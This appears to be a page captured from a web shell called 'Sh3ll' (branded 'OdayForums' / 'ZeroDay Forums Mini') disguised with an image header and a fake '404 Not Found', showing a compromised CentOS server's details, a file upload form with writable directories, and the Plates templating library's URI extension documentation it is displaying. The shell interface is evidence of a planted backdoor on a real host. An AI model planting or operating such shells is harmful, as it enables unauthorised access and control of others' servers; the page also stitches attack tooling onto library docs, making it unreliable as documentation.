����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/vendor/league/plates/docs/extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/vendor/league/plates/docs/extensions/uri.md
---
layout: default
permalink: extensions/uri/
title: URI extension
---

URI
===

The URI extension is designed to make URI checks within templates easier. The most common use is marking the current page in a menu as "selected". It only has one function, `uri()`, but can do a number of helpful tasks depending on the parameters passed to it.

## Installing the URI extension

The URI extension comes packaged with Plates but is not enabled by default, as it requires an extra parameter passed to it at instantiation.

~~~ php
// Load URI extension using global variable
$engine->loadExtension(new League\Plates\Extension\URI($_SERVER['PATH_INFO']));

// Load URI extension using a HttpFoundation's request object
$engine->loadExtension(new League\Plates\Extension\URI($request->getPathInfo()));
~~~

## URI example

~~~ php
<ul>
    <li <?=$this->uri('/', 'class="selected"')?>><a href="/">Home</a></li>
    <li <?=$this->uri('/about', 'class="selected"')?>><a href="/about">About</a></li>
    <li <?=$this->uri('/products', 'class="selected"')?>><a href="/products">Products</a></li>
    <li <?=$this->uri('/contact', 'class="selected"')?>><a href="/contact">Contact</a></li>
</ul>
~~~

## Using the URI extension

Get the whole URI.

~~~ php
<?=$this->uri()?>
~~~

Get a specified segment of the URI.

~~~ php
<?=$this->uri(1)?>
~~~

Check if a specific segment of the URI (first parameter) equals a given string (second parameter). Returns `true` on success or `false` on failure.

~~~ php
<?php if ($this->uri(1, 'home')): ?>
~~~

Check if a specific segment of the URI (first parameter) equals a given string (second parameter). Returns string (third parameter) on success or `false` on failure.

~~~ php
<?=$this->uri(1, 'home', 'success')?>
~~~

Check if a specific segment of the URI (first parameter) equals a given string (second parameter). Returns string (third parameter) on success or string (fourth parameter) on failure.

~~~ php
<?=$this->uri(1, 'home', 'success', 'fail')?>
~~~

Check if a regular expression string matches the current URI. Returns `true` on success or `false` on failure.

~~~ php
<?php if($this->uri('/home')): ?>
~~~

Check if a regular expression string (first parameter) matches the current URI. Returns string (second parameter) on success or `false` on failure.

~~~ php
<?=$this->uri('/home', 'success')?>
~~~

Check if a regular expression string (first parameter) matches the current URI. Returns string (second parameter) on success or string (third parameter) on failure.

~~~ php
<?=$this->uri('/home', 'success', 'fail')?>
~~~

ZeroDay Forums Mini